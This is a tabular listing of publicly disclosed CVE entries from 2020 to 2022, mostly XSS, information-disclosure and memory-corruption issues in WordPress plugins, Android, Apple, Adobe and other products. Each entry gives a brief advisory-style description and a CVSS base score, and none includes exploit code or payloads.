CVE-2022-26555	A stored cross-site scripting (XSS) vulnerability in the Add a Button function of Eova v1.6.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the button name text box.	5.4	More Details
CVE-2022-0911	Cross-site Scripting (XSS) - Stored in GitHub repository pimcore/pimcore prior to 10.4.0.	5.4	More Details
CVE-2022-23350	BigAnt Software BigAnt Server v5.6.06 was discovered to contain a cross-site scripting (XSS) vulnerability.	5.4	More Details
CVE-2022-24728	CKEditor4 is an open source what-you-see-is-what-you-get HTML editor. A vulnerability has been discovered in the core HTML processing module and may affect all plugins used by CKEditor 4 prior to version 4.18.0. The vulnerability allows someone to inject malformed HTML bypassing content sanitization, which could result in executing JavaScript code. This problem has been patched in version 4.18.0. There are currently no known workarounds.	5.4	More Details
CVE-2022-25248	When connecting to a certain port Axeda agent (All versions) and Axeda Desktop Server for Windows (All versions) supplies the event log of the specific service.	5.3	More Details
CVE-2021-45852	An issue was discovered in Projectworlds Hospital Management System v1.0. Unauthorized malicious attackers can add patients without restriction via add_patient.php.	5.3	More Details
CVE-2022-24773	Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.3.0, RSA PKCS#1 v1.5 signature verification code does not properly check `DigestInfo` for a proper ASN.1 structure. This can lead to successful verification with signatures that contain invalid structures but a valid digest. The issue has been addressed in `node-forge` version 1.3.0. There are currently no known workarounds.	5.3	More Details
CVE-2021-44261	A vulnerability is in the 'BRS_top.html' page of the Netgear W104, version WAC104-V1.0.4.13, which can allow a remote attacker to access this page without any authentication. When processed, it exposes firmware version information for the device.	5.3	More Details
CVE-2020-25180	Rockwell Automation ISaGRAF Runtime Versions 4.x and 5.x includes the functionality of setting a password that is required to execute privileged commands. The password value passed to ISaGRAF Runtime is the result of encryption performed with a fixed key value using the tiny encryption algorithm (TEA) on an entered or saved password. A remote, unauthenticated attacker could pass their own encrypted password to the ISaGRAF 5 Runtime, which may result in information disclosure on the device.	5.3	More Details
CVE-2022-21946	A Incorrect Permission Assignment for Critical Resource vulnerability in the sudoers configuration in cscreen of openSUSE Factory allows any local users to gain the privileges of the tty and dialout groups and access and manipulate any running cscreen seesion. This issue affects: openSUSE Factory cscreen version 1.2-1.3 and prior versions.	5.3	More Details
CVE-2020-25193	By having access to the hard-coded cryptographic key for GE Reason RT430, RT431 & RT434 GNSS clocks in firmware versions prior to version 08A06, attackers would be able to intercept and decrypt encrypted traffic through an HTTPS connection.	5.3	More Details
CVE-2022-23348	BigAnt Software BigAnt Server v5.6.06 was discovered to utilize weak password hashes.	5.3	More Details
CVE-2021-46705	A Insecure Temporary File vulnerability in grub-once of grub2 in SUSE Linux Enterprise Server 15 SP4, openSUSE Factory allows local attackers to truncate arbitrary files. This issue affects: SUSE Linux Enterprise Server 15 SP4 grub2 versions prior to 2.06-150400.7.1. SUSE openSUSE Factory grub2 versions prior to 2.06-18.1.	5.1	More Details
CVE-2022-21945	A Insecure Temporary File vulnerability in cscreen of openSUSE Factory allows local attackers to cause DoS for cscreen and a system DoS for non-default systems. This issue affects: openSUSE Factory cscreen version 1.2-1.3 and prior versions.	5.1	More Details
CVE-2020-36519	Mimecast Email Security before 2020-01-10 allows any admin to spoof any domain, and pass DMARC alignment via SPF. This occurs through misuse of the address rewrite feature. (The domain being spoofed must be a customer in the Mimecast grid from which the spoofing occurs.)	4.9	More Details
CVE-2021-39046	IBM Business Automation Workflow 18.0, 19.0, 20.0, and 21.0 and IBM Business Process Manager 8.5 and 8.6 stores user credentials in plain clear text which can be read by a lprivileged user. IBM X-Force ID: 214346.	4.9	More Details
CVE-2021-44760	Auth. (admin+) Reflected Cross-Site Scripting (XSS) vulnerability discovered in WP-DownloadManager plugin <= 1.68.6 versions.	4.8	More Details
CVE-2021-45792	Slims9 Bulian 9.4.2 is affected by Cross Site Scripting (XSS) in /admin/modules/system/custom_field.php.	4.8	More Details
CVE-2022-25603	Authenticated (author or higher user role) Stored Cross-Site Scripting (XSS) vulnerability discovered in MaxGalleria WordPress plugin (versions 6.2.5).	4.8	More Details
CVE-2022-25605	Multiple Authenticated Stored Cross-Site Scripting (XSS) vulnerabilities discovered in WP-DownloadManager WordPress plugin (versions <= 1.68.6). Vvulnerable parameters &download_path, &download_path_url, &download_page_url.	4.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2022-27244	An issue was discovered in MISP before 2.4.156. A malicious site administrator could store an XSS payload in the custom auth name. This would be executed each time the administrator modifies a user.	4.8	More Details
CVE-2022-0590	The BulletProof Security WordPress plugin before 5.8 does not sanitise and escape some of its settings, which could allow high privilege users to perform Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed.	4.8	More Details
CVE-2022-26494	An XSS was identified in the Admin Web interface of PrimeKey SignServer before 5.8.1. JavaScript code must be used in a worker name before a Generate CSR request. Only an administrator can update a worker name.	4.8	More Details
CVE-2021-23150	Authenticated (admin+) Stored Cross-Site Scripting (XSS) vulnerability discovered in AMP for WP – Accelerated Mobile Pages plugin <= 1.0.77.31 versions.	4.8	More Details
CVE-2021-23209	Multiple Authenticated (admin user role) Persistent Cross-Site Scripting (XSS) vulnerabilities discovered in AMP for WP – Accelerated Mobile Pages WordPress plugin (versions <= 1.0.77.32).	4.8	More Details
CVE-2022-25464	A stored cross-site scripting (XSS) vulnerability in the component /admin/contenttemp of DoraCMS v2.1.8 allows attackers to execute arbitrary web scripts or HTML via a crafted payload.	4.8	More Details
CVE-2022-22671	An authentication issue was addressed with improved state management. This issue is fixed in iOS 15.4 and iPadOS 15.4. A person with physical access to an iOS device may be able to access photos from the lock screen.	4.6	More Details
CVE-2022-22647	This issue was addressed with improved checks. This issue is fixed in macOS Big Sur 11.6.5, macOS Monterey 12.3, Security Update 2022-003 Catalina. A person with access to a Mac may be able to bypass Login Window.	4.6	More Details
CVE-2022-22622	This issue was addressed with improved checks. This issue is fixed in iOS 15.4 and iPadOS 15.4. A person with physical access to an iOS device may be able to see sensitive information via keyboard suggestions.	4.6	More Details
CVE-2022-22621	This issue was addressed with improved checks. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Monterey 12.3, watchOS 8.5. A person with physical access to an iOS device may be able to see sensitive information via keyboard suggestions.	4.6	More Details
CVE-2021-39711	In bpf_prog_test_run_skb of test_run.c, there is a possible out of bounds read due to Incorrect Size Value. This could lead to local information disclosure with System execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android kernelAndroid ID: A-154175781References: Upstream kernel	4.4	More Details
CVE-2021-39715	In __show_regs of process.c, there is a possible leak of kernel memory and addresses due to log information disclosure. This could lead to local information disclosure with System execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android kernelAndroid ID: A-178379135References: Upstream kernel	4.4	More Details
CVE-2021-39717	In iaxxx_btp_write_words of iaxxx-btp.c, there is a possible out of bounds read due to an incorrect bounds check. This could lead to local information disclosure with System execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android kernelAndroid ID: A-198653629References: N/A	4.4	More Details
CVE-2021-39722	In ProtocolStkProactiveCommandAdapter::Init of protocolstkadapter.cpp, there is a possible out of bounds read due to an incorrect bounds check. This could lead to local information disclosure with System execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android kernelAndroid ID: A-204585345References: N/A	4.4	More Details
CVE-2021-39724	In TuningProviderBase::GetTuningTreeSet of tuning_provider_base.cc, there is a possible out of bounds read due to a missing bounds check. This could lead to local information disclosure with System execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android kernelAndroid ID: A-205753190References: N/A	4.4	More Details
CVE-2021-39730	In TBD of TBD, there is a possible out of bounds read due to a missing bounds check. This could lead to local information disclosure with System execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android kernelAndroid ID: A-206472503References: N/A	4.4	More Details
CVE-2022-22654	A user interface issue was addressed. This issue is fixed in watchOS 8.5, Safari 15.4. Visiting a malicious website may lead to address bar spoofing.	4.3	More Details
CVE-2022-0616	The Amelia WordPress plugin before 1.0.47 does not have CSRF check in place when deleting customers, which could allow attackers to make a logged in admin delete arbitrary customers via a CSRF attack	4.3	More Details
CVE-2022-0515	Cross-Site Request Forgery (CSRF) in GitHub repository crater-invoice/crater prior to 6.0.4.	4.3	More Details
CVE-2021-43961	Sonatype Nexus Repository Manager 3.36.0 allows HTML Injection.	4.3	More Details
CVE-2022-1004	Accounted time is shown in the Ticket Detail View (External Interface), even if ExternalFrontend::TicketDetailView###AccountedTimeDisplay is disabled.	4.3	More Details
CVE-2021-43955	The /rest-service-fecru/server-v1 resource in Fisheye and Crucible before version 4.8.9 allowed authenticated remote attackers to obtain information about installation directories via information disclosure vulnerability.	4.3	More Details
CVE-2022-25604	Authenticated (contributor of higher user role) Stored Cross-Site Scripting (XSS) vulnerability discovered in WordPress Price Table plugin (versions <= 0.2.2).	4.1	More Details
CVE-2021-39792	In usb_gadget_giveback_request of core.c, there is a possible use after free out of bounds read due to a race condition. This could lead to local information disclosure with System execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android kernelAndroid ID: A-161010552References: Upstream kernel	4.1	More Details

CVE Number	Description	Base Score	Reference
CVE-2021-39727	In eicPresentationRetrieveEntryValue of acropora/app/identity/libeic/EicPresentation.c, there is a possible information disclosure due to a race condition. This could lead to local information disclosure with System execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android kernelAndroid ID: A-196388042References: N/A	4.1	More Details
CVE-2022-0237	Rapid7 Insight Agent versions 3.1.2.38 and earlier suffer from a privilege escalation vulnerability, whereby an attacker can hijack the flow of execution due to an unquoted argument to the runas.exe command used by the ir_agent.exe component, resulting in elevated rights and persistent access to the machine. This issue was fixed in Rapid7 Insight Agent version 3.1.3.80.	4.0	More Details
CVE-2022-21164	The package node-lmdb before 0.9.7 are vulnerable to Denial of Service (DoS) when defining a non-invokable ToString value, which will cause a crash during type check.	3.7	More Details
CVE-2022-24236	An insecure permissions vulnerability in Snapt Aria v12.8 allows unauthenticated attackers to send e-mails from spoofed users' accounts.	3.5	More Details
CVE-2022-0475	Malicious translator is able to inject JavaScript code in few translatable strings (where HTML is allowed). The code could be executed in the Package manager. This issue affects: OTRS AG OTRS 7.0.x version: 7.0.32 and prior versions, 8.0.x version: 8.0.19 and prior versions.	3.5	More Details
CVE-2022-21718	Electron is a framework for writing cross-platform desktop applications using JavaScript, HTML and CSS. A vulnerability in versions prior to `17.0.0-alpha.6`, `16.0.6`, `15.3.5`, `14.2.4`, and `13.6.6` allows renderers to obtain access to a bluetooth device via the web bluetooth API if the app has not configured a custom `select-bluetooth-device` event handler. This has been patched and Electron versions `17.0.0-alpha.6`, `16.0.6`, `15.3.5`, `14.2.4`, and `13.6.6` contain the fix. Code from the GitHub Security Advisory can be added to the app to work around the issue.	3.4	More Details
CVE-2022-22670	An access issue was addressed with improved access restrictions. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, watchOS 8.5. A malicious application may be able to identify what other applications a user has installed.	3.3	More Details
CVE-2022-0652	Confd log files contain local users', including root's, SHA512crypt password hashes with insecure access permissions. This allows a local attacker to attempt off-line brute-force attacks against these password hashes in Sophos UTM before version 9.710.	3.3	More Details
CVE-2022-1003	One of the API in Mattermost version 6.3.0 and earlier fails to properly protect the permissions, which allows the system administrators to combine the two distinct privileges/capabilities in a way that allows them to override certain restricted configurations like EnableUploads.	3.3	More Details
CVE-2022-22598	An issue with app access to camera metadata was addressed with improved logic. This issue is fixed in iOS 15.4 and iPadOS 15.4. An app may be able to learn information about the current camera view before being granted camera access.	3.3	More Details
CVE-2021-40766	Adobe Character Animator version 4.4 (and earlier versions) are affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to bypass mitigations such as ASLR. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	3.3	More Details
CVE-2022-22656	An authentication issue was addressed with improved state management. This issue is fixed in macOS Big Sur 11.6.5, macOS Monterey 12.3, Security Update 2022-003 Catalina. A local attacker may be able to view the previous logged in user's desktop from the fast user switching screen.	3.3	More Details
CVE-2022-0758	Rapid7 Nexpose versions 6.6.129 and earlier suffer from a reflected cross site scripting vulnerability, within the shared scan configuration component of the tool. With this vulnerability an attacker could pass literal values as the test credentials, providing the opportunity for a potential XSS attack. This issue is fixed in Rapid7 Nexpose version 6.6.130.	3.3	More Details
CVE-2022-26354	A flaw was found in the vhost-vsock device of QEMU. In case of error, an invalid element was not detached from the virtqueue before freeing its memory, leading to memory leakage and other unexpected results. Affected QEMU versions <= 6.2.0.	3.2	More Details
CVE-2020-16232	In Yokogawa WideField3 R1.01 - R4.03, a buffer overflow could be caused when a user loads a maliciously crafted project file.	2.8	More Details
CVE-2022-22599	Description: A permissions issue was addressed with improved validation. This issue is fixed in watchOS 8.5, iOS 15.4 and iPadOS 15.4, macOS Big Sur 11.6.5, macOS Monterey 12.3. A person with physical access to a device may be able to use Siri to obtain some location information from the lock screen.	2.4	More Details
CVE-2022-1002	Mattermost 6.3.0 and earlier fails to properly sanitize the HTML content in the email invitation sent to guest users, which allows registered users with special permissions to invite guest users to inject unescaped HTML content in the email invitations.	2.0	More Details
CVE-2021-42533	Adobe Bridge version 11.1.1 (and earlier) is affected by a double free vulnerability when parsing a crafted DCM file, which could result in arbitrary code execution in the context of the current user. This vulnerability requires user interaction to exploit.	N/A	More Details
CVE-2021-40734	Adobe Audition version 14.4 (and earlier) is affected by a memory corruption vulnerability when parsing a SVG file, potentially resulting in arbitrary code execution in the context of the current user. User interaction is required to exploit this vulnerability.	N/A	More Details
CVE-2021-39705	Rejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: none. Reason: This candidate was withdrawn by its CNA. Further investigation showed that it was not a security issue. Notes: none	N/A	More Details
CVE-2022-24092	Acrobat Reader DC version 21.007.20099 (and earlier), 20.004.30017 (and earlier) and 17.011.30204 (and earlier) are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious font file.	N/A	More Details
CVE-2021-40735	Adobe Audition version 14.4 (and earlier) is affected by a memory corruption vulnerability, potentially resulting in arbitrary code execution in the context of the current user. User interaction is required to exploit this vulnerability.	N/A	More Details

CVE Number	Description	Base Score	Reference
CVE-2021-40736	Adobe Audition version 14.4 (and earlier) is affected by a memory corruption vulnerability, potentially resulting in arbitrary code execution in the context of the current user. User interaction is required to exploit this vulnerability.	N/A	More Details
CVE-2021-40741	Adobe Audition version 14.4 (and earlier) is affected by an Access of Memory Location After End of Buffer vulnerability when parsing a specially crafted file. An unauthenticated attacker could leverage this vulnerability to achieve an application denial-of-service in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	N/A	More Details
CVE-2021-40767	Adobe Character Animator version 4.4 (and earlier) is affected by an Access of Memory Location After End of Buffer vulnerability when parsing a specially crafted file. An unauthenticated attacker could leverage this vulnerability to achieve an application denial-of-service in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	N/A	More Details
CVE-2022-26502	Rejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: none. Reason: This candidate was withdrawn by its CNA. Further investigation showed that it was not a security issue. Notes: none	N/A	More Details
CVE-2021-40769	Adobe Character Animator version 4.4 (and earlier versions) are affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to bypass mitigations such as ASLR. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	N/A	More Details
CVE-2021-40777	Adobe Media Encoder version 15.4.1 (and earlier) is affected by a memory corruption vulnerability due to insecure handling of a malicious file, potentially resulting in arbitrary code execution in the context of the current user. User interaction is required to exploit this vulnerability.	N/A	More Details
CVE-2021-44907	Rejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: none. Reason: This candidate was withdrawn by its CNA. Further investigation showed that it was not a security issue. Notes: none	N/A	More Details
CVE-2022-22623	Rejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: none. Reason: This candidate was withdrawn by its CNA. Further investigation showed that it was not a security issue. Notes: none	N/A	More Details